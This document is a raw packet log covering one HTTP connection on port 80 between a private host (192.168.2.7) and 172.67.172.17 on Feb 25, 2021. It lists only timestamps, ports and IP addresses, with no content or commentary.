Feb 25, 2021 15:16:00.882170916 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.882191896 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.882220030 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.882229090 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.882240057 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.882261038 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.882282972 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.882294893 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.882306099 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.882323980 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.882325888 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.882345915 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.882356882 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.882364988 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.882384062 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.882406950 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.882420063 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.882426023 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.882445097 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.882448912 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.882481098 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.883157015 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.883182049 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.883208036 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.883229017 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.883238077 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.883255959 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.883266926 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.883279085 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.883297920 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.883321047 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.883333921 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.883339882 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.883358955 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.883366108 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.883385897 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.883394957 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.883405924 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.883424997 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.883446932 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.883461952 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.883490086 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.884147882 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.884171963 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.884191990 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.884221077 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.884232998 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.884242058 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.884260893 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.884282112 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.884284019 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.884305954 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.884313107 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.884321928 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.884345055 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.884362936 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.884382010 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.884383917 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.884402037 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.884407043 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.884421110 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.884458065 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.885206938 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.885229111 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.885257959 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.885272026 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.885277987 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.885299921 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.885323048 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.885337114 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.885341883 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.885361910 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.885369062 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.885399103 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.885421038 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.885425091 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.885438919 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.885457993 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.885462999 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.885478020 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.885482073 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.885498047 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.885543108 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.886095047 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.886132002 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.886154890 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.886173010 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.886176109 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.886194944 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.886218071 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.886234045 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.886243105 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.886254072 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.886271000 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.886271954 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.886290073 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.886291981 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.886310101 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.886328936 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.886346102 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.886347055 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.886365891 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.886375904 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.886401892 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.887078047 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887106895 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887139082 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887157917 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887173891 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.887182951 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887203932 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887217045 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.887226105 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887247086 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.887618065 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887639999 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887669086 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887689114 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887698889 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.887713909 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887729883 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.887737036 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887753963 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.887758017 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887785912 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887793064 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887810946 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887823105 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.887835979 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887857914 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.887861967 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887886047 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887902975 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.887903929 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.887928009 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.888641119 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.888670921 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.888688087 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.888709068 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.888712883 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.888732910 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.888744116 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.888756037 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.888772964 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.888776064 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.888793945 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.888816118 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.888834000 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.888834953 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.888851881 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.888866901 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.888870001 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.888887882 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.888887882 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.888905048 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.888920069 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.889554977 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.889586926 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.889605999 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.889619112 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.889624119 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.889643908 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.889664888 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.889667034 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.889686108 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.889691114 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.889714956 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.889731884 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.889770031 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.889794111 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.889811039 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.889815092 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.889837980 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.889862061 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.889873981 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.889880896 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.889904022 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.890460014 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.890482903 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.890508890 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.890527964 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.890539885 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.890553951 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.890574932 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.890582085 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.890599966 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.890602112 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.890620947 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.890645027 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.890659094 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.890666962 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.890686989 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.890687943 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.890706062 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.890722990 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.890724897 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.890746117 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.890785933 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.891509056 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.891532898 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.891557932 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.891577959 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.891580105 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.891597986 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.891608953 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.891621113 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.891639948 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.891649008 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.891664028 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.891680956 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.891684055 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.891705990 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.891730070 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.891741037 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.891750097 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.891768932 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.891772032 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.891788960 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.891803026 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.892647028 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.892699003 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.892738104 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.892750978 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.892766953 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.892786980 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.892795086 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.892807007 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.892824888 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.892828941 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.892842054 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.892862082 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.892862082 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.892894983 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.892903090 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.892935038 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.892956018 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.892971992 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.892975092 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.892993927 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.893016100 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.893028975 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.893033028 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.893052101 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.893060923 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.893095016 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.893105984 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.893126011 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.893165112 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.893167019 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.893846989 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.893877029 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.893896103 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.893903017 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.893917084 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.893937111 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.893946886 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.893963099 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.893982887 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.893996000 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.894018888 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.894042015 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.894056082 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.894061089 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.894087076 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.894095898 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.894114971 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.894138098 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.894149065 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.894156933 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.894187927 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.894840002 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.894865990 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.894884109 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.894907951 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.894910097 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.894929886 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.894953012 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.894968987 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.894970894 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.894985914 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.895001888 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.895020008 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.895025969 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.895035028 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.895051003 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.895057917 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.895075083 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.895093918 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.895108938 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.895126104 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.895787001 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.895812035 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.895847082 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.895848036 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.895854950 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.895865917 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.895878077 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.895909071 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.895935059 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.896176100 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.896197081 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.896224022 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.896245956 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.896248102 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.896271944 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.896281958 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.896286964 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.896301031 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.896317959 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.896333933 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.896343946 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.896352053 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.896368980 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.896378994 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.896387100 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.896405935 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.896424055 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.896431923 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.896483898 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.897181034 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.897218943 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.897236109 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.897254944 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.897262096 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.897275925 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.897295952 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.897295952 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.897313118 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.897320986 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.897330999 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.897350073 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.897367954 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.897371054 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.897383928 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.897401094 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.897413969 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.897433043 CET	49736	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:16:00.897433996 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.897453070 CET	80	49736	172.67.172.17	192.168.2.7
Feb 25, 2021 15:16:00.897486925 CET	49736	80	192.168.2.7	172.67.172.17
